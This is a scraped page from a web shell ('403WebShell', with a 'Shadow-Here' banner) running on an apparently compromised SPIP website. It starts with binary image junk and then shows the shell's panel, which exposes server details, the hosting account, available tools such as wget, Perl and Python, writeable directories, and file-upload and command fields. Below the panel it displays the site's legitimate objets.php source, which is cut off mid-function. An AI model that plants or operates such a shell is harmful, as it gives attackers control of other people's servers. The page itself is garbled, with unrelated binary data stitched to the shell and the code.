....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/www/zip_c50d5107fdcea0a051739db1262d08d5/ecrire/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uneseuleoc/www/zip_c50d5107fdcea0a051739db1262d08d5/ecrire/base/objets.php
<?php

/***************************************************************************\
 *  SPIP, Systeme de publication pour l'internet                           *
 *                                                                         *
 *  Copyright (c) 2001-2016                                                *
 *  Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribue sous licence GNU/GPL.     *
 *  Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne.   *
\***************************************************************************/

/**
 * Fonctions relatives aux objets éditoriaux et SQL
 *
 * @package SPIP\Core\SQL\Tables
 **/

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

/**
 * Merge dans un tableau une de ses clés avec une valeur
 *
 * @param array $table
 *     Tableau dont on veut compléter une clé
 * @param string $index
 *     Clé du tableau que l'on souhaite compléter
 * @param array $valeur
 *     Sous tableau à merger dans la clé.
 * @return void
 **/
function array_set_merge(&$table, $index, $valeur) {
	if (!isset($table[$index])) {
		$table[$index] = $valeur;
	} else {
		$table[$index] = array_merge($table[$index], $valeur);
	}
}

/**
 * Lister les infos de toutes les tables sql declarées
 *
 * Si un argument est fourni, on ne renvoie que les infos de cette table.
 * Elle est auto-declarée si inconnue jusqu'alors.
 *
 * @api
 * @param string $table_sql
 *   table_sql demandee explicitement
 * @param array $desc
 *   description connue de la table sql demandee
 * @return array|bool
 */
function lister_tables_objets_sql($table_sql = null, $desc = array()) {
	static $deja_la = false;
	static $infos_tables = null;
	static $md5 = null;
	static $plugin_hash = null;

	// plugins hash connu ? non si _CACHE_PLUGINS_OPT est pas encore chargé.
	$_PLUGINS_HASH = defined('_PLUGINS_HASH') ? _PLUGINS_HASH : '!_CACHE_PLUGINS_OPT';

	// prealablement recuperer les tables_principales
	if (is_null($infos_tables) or $plugin_hash !== $_PLUGINS_HASH) {
		// pas de reentrance (cas base/serial)
		if ($deja_la) {
			spip_log("Re-entrance anormale sur lister_tables_objets_sql :"
				. var_export(debug_backtrace(), true), _LOG_CRITIQUE);

			return ($table_sql === "::md5" ? $md5 : array());
		}
		$deja_la = true;
		$plugin_hash = $_PLUGINS_HASH; // avant de lancer les pipelines

		// recuperer les declarations explicites ancienne mode
		// qui servent a completer declarer_tables_objets_sql
		base_serial($GLOBALS['tables_principales']);
		base_auxiliaires($GLOBALS['tables_auxiliaires']);
		$infos_tables = array(
			'spip_articles' => array(
				'page' => 'article',
				'texte_retour' => 'icone_retour_article',
				'texte_modifier' => 'icone_modifier_article',
				'texte_creer' => 'icone_ecrire_article',
				'texte_objets' => 'public:articles',
				'texte_objet' => 'public:article',
				'texte_signale_edition' => 'texte_travail_article',
				'info_aucun_objet' => 'info_aucun_article',
				'info_1_objet' => 'info_1_article',
				'info_nb_objets' => 'info_nb_articles',
				'texte_logo_objet' => 'logo_article',
				'texte_langue_objet' => 'titre_langue_article',
				'texte_definir_comme_traduction_objet' => 'trad_lier',
				'titre' => 'titre, lang',
				'date' => 'date',
				'principale' => 'oui',
				'introduction_longueur' => '500',
				'champs_editables' => array(
					'surtitre',
					'titre',
					'soustitre',
					'descriptif',
					'nom_site',
					'url_site',
					'chapo',
					'texte',
					'ps',
					'virtuel'
				),
				'champs_versionnes' => array(
					'id_rubrique',
					'surtitre',
					'titre',
					'soustitre',
					'jointure_auteurs',
					'descriptif',
					'nom_site',
					'url_site',
					'chapo',
					'texte',
					'ps'
				),
				'field' => array(
					"id_article" => "bigint(21) NOT NULL",
					"surtitre" => "text DEFAULT '' NOT NULL",
					"titre" => "text DEFAULT '' NOT NULL",
					"soustitre" => "text DEFAULT '' NOT NULL",
					"id_rubrique" => "bigint(21) DEFAULT '0' NOT NULL",
					"descriptif" => "text DEFAULT '' NOT NULL",
					"chapo" => "mediumtext DEFAULT '' NOT NULL",
					"texte" => "longtext DEFAULT '' NOT NULL",
					"ps" => "mediumtext DEFAULT '' NOT NULL",
					"date" => "datetime DEFAULT '0000-00-00 00:00:00' NOT NULL",
					"statut" => "varchar(10) DEFAULT '0' NOT NULL",
					"id_secteur" => "bigint(21) DEFAULT '0' NOT NULL",
					"maj" => "TIMESTAMP",
					"export" => "VARCHAR(10) DEFAULT 'oui'",
					"date_redac" => "datetime DEFAULT '0000-00-00 00:00:00' NOT NULL",
					"visites" => "integer DEFAULT '0' NOT NULL",
					"referers" => "integer DEFAULT '0' NOT NULL",
					"popularite" => "DOUBLE DEFAULT '0' NOT NULL",
					"accepter_forum" => "CHAR(3) DEFAULT '' NOT NULL",
					"date_modif" => "datetime DEFAULT '0000-00-00 00:00:00' NOT NULL",
					"lang" => "VARCHAR(10) DEFAULT '' NOT NULL",
					"langue_choisie" => "VARCHAR(3) DEFAULT 'non'",
					"id_trad" => "bigint(21) DEFAULT '0' NOT NULL",
					"nom_site" => "tinytext DEFAULT '' NOT NULL",
					"url_site" => "text DEFAULT '' NOT NULL",
					"virtuel" => "text DEFAULT '' NOT NULL",
				),
				'key' => array(
					"PRIMARY KEY" => "id_article",
					"KEY id_rubrique" => "id_rubrique",
					"KEY id_secteur" => "id_secteur",
					"KEY id_trad" => "id_trad",
					"KEY lang" => "lang",
					"KEY statut" => "statut, date",
				),
				'join' => array(
					"id_article" => "id_article",
					"id_rubrique" => "id_rubrique"
				),
				'rechercher_champs' => array(
					'surtitre' => 5,
					'titre' => 8,
					'soustitre' => 5,
					'chapo' => 3,
					'texte' => 1,
					'ps' => 1,
					'nom_site' => 1,
					'url_site' => 1,
					'descriptif' => 4
				),
				'rechercher_jointures' => array(
					'auteur' => array('nom' => 10),
				),
				'statut' => array(
					array(
						'champ' => 'statut',
						'publie' => 'publie',
						'previsu' => 'publie,prop,prepa/auteur',
						'post_date' => 'date',
						'exception' => array('statut', 'tout')
					)
				),
				'statut_titres' => array(
					'prepa' => 'info_article_redaction',
					'prop' => 'info_article_propose',
					'publie' => 'info_article_publie',
					'refuse' => 'info_article_refuse',
					'poubelle' => 'info_article_supprime'
				),
				'statut_textes_instituer' => array(
					'prepa' => 'texte_statut_en_cours_redaction',
					'prop' => 'texte_statut_propose_evaluation',
					'publie' => 'texte_statut_publie',
					'refuse' => 'texte_statut_refuse',
					'poubelle' => 'texte_statut_poubelle',
				),
				'texte_changer_statut' => 'texte_article_statut',
				'aide_changer_statut' => 'artstatut',
				'tables_jointures' => array(
					'profondeur' => 'rubriques',
					#'id_auteur' => 'auteurs_liens' // declaration generique plus bas
				),
			),
			'spip_auteurs' => array(
				'page' => 'auteur',
				'texte_retour' => 'icone_retour',
				'texte_ajouter' => 'titre_ajouter_un_auteur',
				'texte_modifier' => 'admin_modifier_auteur',
				'texte_objets' => 'icone_auteurs',
				'texte_objet' => 'public:auteur',
				'info_aucun_objet' => 'info_aucun_auteur',
				'info_1_objet' => 'info_1_auteur',
				'info_nb_objets' => 'info_nb_auteurs',
				'texte_logo_objet' => 'logo_auteur',
				'texte_creer_associer' => 'creer_et_associer_un_auteur',
				'titre' => "nom AS titre, '' AS lang",
				'date' => 'date',
				'principale' => 'oui',
				'champs_editables' => array('nom', 'email', 'bio', 'nom_site', 'url_site', 'imessage', 'pgp'),
				'champs_versionnes' => array('nom', 'bio', 'email', 'nom_site', 'url_site', 'login'),
				'field' => array(
					"id_auteur" => "bigint(21) NOT NULL",
					"nom" => "text DEFAULT '' NOT NULL",
					"bio" => "text DEFAULT '' NOT NULL",
					"email" => "tinytext DEFAULT '' NOT NULL",
					"nom_site" => "tinytext DEFAULT '' NOT NULL",
					"url_site" => "text DEFAULT '' NOT NULL",
					"login" => "VARCHAR(255) BINARY",
					"pass" => "tinytext DEFAULT '' NOT NULL",
					"low_sec" => "tinytext DEFAULT '' NOT NULL",
					"statut" => "varchar(255)  DEFAULT '0' NOT NULL",
					"webmestre" => "varchar(3)  DEFAULT 'non' NOT NULL",
					"maj" => "TIMESTAMP",
					"pgp" => "TEXT DEFAULT '' NOT NULL",
					"htpass" => "tinytext DEFAULT '' NOT NULL",
					"en_ligne" => "datetime DEFAULT '0000-00-00 00:00:00' NOT NULL",
					"alea_actuel" => "tinytext",
					"alea_futur" => "tinytext",
					"prefs" => "tinytext",
					"cookie_oubli" => "tinytext",
					"source" => "VARCHAR(10) DEFAULT 'spip' NOT NULL",
					"lang" => "VARCHAR(10) DEFAULT '' NOT NULL"
				),
				'key' => array(
					"PRIMARY KEY" => "id_auteur",
					"KEY login" => "login",
					"KEY statut" => "statut",
					"KEY en_ligne" => "en_ligne",
				),
				'join' => array(
					"id_auteur" => "id_auteur",
					"login" => "login"
				),
				'rechercher_champs' => array(
					'nom' => 5,
					'bio' => 1,
					'email' => 1,
					'nom_site' => 1,
					'url_site' => 1,
					'login' => 1
				),
				// 2 conditions pour les auteurs : statut!=poubelle,
				// et avoir des articles publies
				'statut' => array(
					array(
						'champ' => 'statut',
						'publie' => '!5poubelle',
						'previsu' => '!5poubelle',
						'exception' => 'statut'
					),
					array(
						'champ' => array(
							array('spip_auteurs_liens', 'id_auteur'),
							array(
								'spip_articles',
								array('id_objet', 'id_article', 'objet', 'article')
							),
							'statut'
						),
						'publie' => 'publie',
						'previsu' => '!',
						'post_date' => 'date',
						'exception' => array('statut', 'lien', 'tout')
					),
				),
				'statut_images' => array(
					'auteur-6forum-16.png',
					'0minirezo' => 'auteur-0minirezo-16.png',
					'1comite' => 'auteur-1comite-16.png',
					'6forum' => 'auteur-6forum-16.png',
					'5poubelle' => 'auteur-5poubelle-16.png',
					'nouveau' => ''
				),
				'statut_titres' => array(
					'titre_image_visiteur',
					'0minirezo' => 'titre_image_administrateur',
					'1comite' => 'titre_image_redacteur_02',
					'6forum' => 'titre_image_visiteur',
					'5poubelle' => 'titre_image_auteur_supprime',
				),
				'tables_jointures' => array(#'auteurs_liens' // declaration generique plus bas
				),
			),
			'spip_rubriques' => array(
				'page' => 'rubrique',
				'url_voir' => 'rubrique',
				'url_edit' => 'rubrique_edit',
				'texte_retour' => 'icone_retour',
				'texte_objets' => 'public:rubriques',
				'texte_objet' => 'public:rubrique',
				'texte_modifier' => 'icone_modifier_rubrique',
				'texte_creer' => 'icone_creer_rubrique',
				'texte_ajouter' => 'titre_ajouter_une_rubrique',
				'texte_creer_associer' => 'creer_et_associer_une_rubrique',
				'info_aucun_objet' => 'info_aucun_rubrique',
				'info_1_objet' => 'info_1_rubrique',
				'info_nb_objets' => 'info_nb_rubriques',
				'texte_logo_objet' => 'logo_rubrique',
				'texte_langue_objet' => 'titre_langue_rubrique',
				'texte_definir_comme_traduction_objet' => 'texte_definir_comme_traduction_rubrique',
				'titre' => 'titre, lang',
				'date' => 'date',
				'principale' => 'oui',
				'introduction_longueur' => '600',
				'champs_editables' => array('titre', 'texte', 'descriptif', 'extra'),
				'champs_versionnes' => array('titre', 'descriptif', 'texte'),
				'field' => array(
					"id_rubrique" => "bigint(21) NOT NULL",
					"id_parent" => "bigint(21) DEFAULT '0' NOT NULL",
					"titre" => "text DEFAULT '' NOT NULL",
					"descriptif" => "text DEFAULT '' NOT NULL",
					"texte" => "longtext DEFAULT '' NOT NULL",
					"id_secteur" => "bigint(21) DEFAULT '0' NOT NULL",
					"maj" => "TIMESTAMP",
					"statut" => "varchar(10) DEFAULT '0' NOT NULL",
					"date" => "datetime DEFAULT '0000-00-00 00:00:00' NOT NULL",
					"lang" => "VARCHAR(10) DEFAULT '' NOT NULL",
					"langue_choisie" => "VARCHAR(3) DEFAULT 'non'",
					"statut_tmp" => "varchar(10) DEFAULT '0' NOT NULL",
					"date_tmp" => "datetime DEFAULT '0000-00-00 00:00:00' NOT NULL",
					"profondeur" => "smallint(5) DEFAULT '0' NOT NULL"
				),
				'key' => array(
					"PRIMARY KEY" => "id_rubrique",
					"KEY lang" => "lang",
					"KEY id_parent" => "id_parent",
				),
				'rechercher_champs' => array(
					'titre' => 8,
					'descriptif' => 5,
					'texte' => 1
				),
				'statut' => array(
					array(
						'champ' => 'statut',
						'publie' => 'publie',
						'previsu' => '!',
						'exception' => array('statut', 'tout')
					),
				),
				'tables_jointures' => array(#'id_auteur' => 'auteurs_liens' // declaration generique plus bas
				),
			),
			// toutes les tables ont le droit a une jointure sur les auteurs
			array('tables_jointures' => array('id_auteur' => 'auteurs_liens'))
		);

		// avant d'appeller les pipeline qui peuvent generer une reentrance a l'install
		// initialiser la signature
		$md5 = md5(serialize($infos_tables));

		$GLOBALS['tables_principales'] = pipeline('declarer_tables_principales', $GLOBALS['tables_principales']);
		$GLOBALS['tables_auxiliaires'] = pipeline('declarer_tables_auxiliaires', $GLOBALS['tables_auxiliaires']);
		$infos_tables = pipeline('declarer_tables_objets_sql', $infos_tables);

		// completer les informations manquantes ou implicites
		$all = array();
		foreach (array_keys($infos_tables) as $t) {
			// les cles numeriques servent a declarer
			// les proprietes applicables a tous les objets
			// on les mets de cote
			if (is_numeric($t)) {
				$all = array_merge_recursive($all, $infos_tables[$t]);
				unset($infos_tables[$t]);
			} else {
				$infos_tables[$t] = renseigner_table_objet_sql($t, $infos_tables[$t]);
			}
		}

		// repercuter les proprietes generales communes a tous les objets
		foreach (array_keys($infos_tables) as $t) {
			foreach ($all as $i => $v) {
				if (in_array($i, array('tables_jointures', 'champs_versionnes'))) {
					$add = $all[$i];
					// eviter les doublons de declaration de table jointure (ex des mots sur auteurs)
					// pour les declarations generiques avec cles numeriques
					if ($i == 'tables_jointures' and isset($infos_tables[$t][$i]) and count($infos_tables[$t][$i])) {
						$doublons = array_intersect($infos_tables[$t][$i], $add);
						foreach ($doublons as $d) {
							if (is_numeric(array_search($d, $infos_tables[$t][$i]))
								and is_numeric($k = array_search($d, $add))
							) {
								unset($add[$k]);
							}
						}
					}
					$infos_tables[$t][$i] = array_merge(isset($infos_tables[$t][$i]) ? $infos_tables[$t][$i] : array(), $add);
				} else {
					$infos_tables[$t][$i] = array_merge_recursive(isset($infos_tables[$t][$i]) ? $infos_tables[$t][$i] : array(),
						$all[$i]);
				}
			}
		}

		// completer les tables principales et auxiliaires
		// avec celles declarees uniquement dans declarer_table_objets_sql
		// pour assurer la compat en transition
		foreach ($infos_tables as $table => $infos) {
			$principale_ou_auxiliaire = ($infos['principale'] ? 'tables_principales' : 'tables_auxiliaires');
			// memoriser des champs eventuels declares par des plugins dans le pipeline tables_xxx
			// qui a ete appelle avant
			$mem = (isset($GLOBALS[$principale_ou_auxiliaire][$table]) ? $GLOBALS[$principale_ou_auxiliaire][$table] : array());
			// l'ajouter au tableau
			$GLOBALS[$principale_ou_auxiliaire][$table] = array();
			if (isset($infos['field']) and isset($infos['key'])) {
				foreach (array('field', 'key', 'join') as $k) {
					if (isset($infos_tables[$table][$k])) {
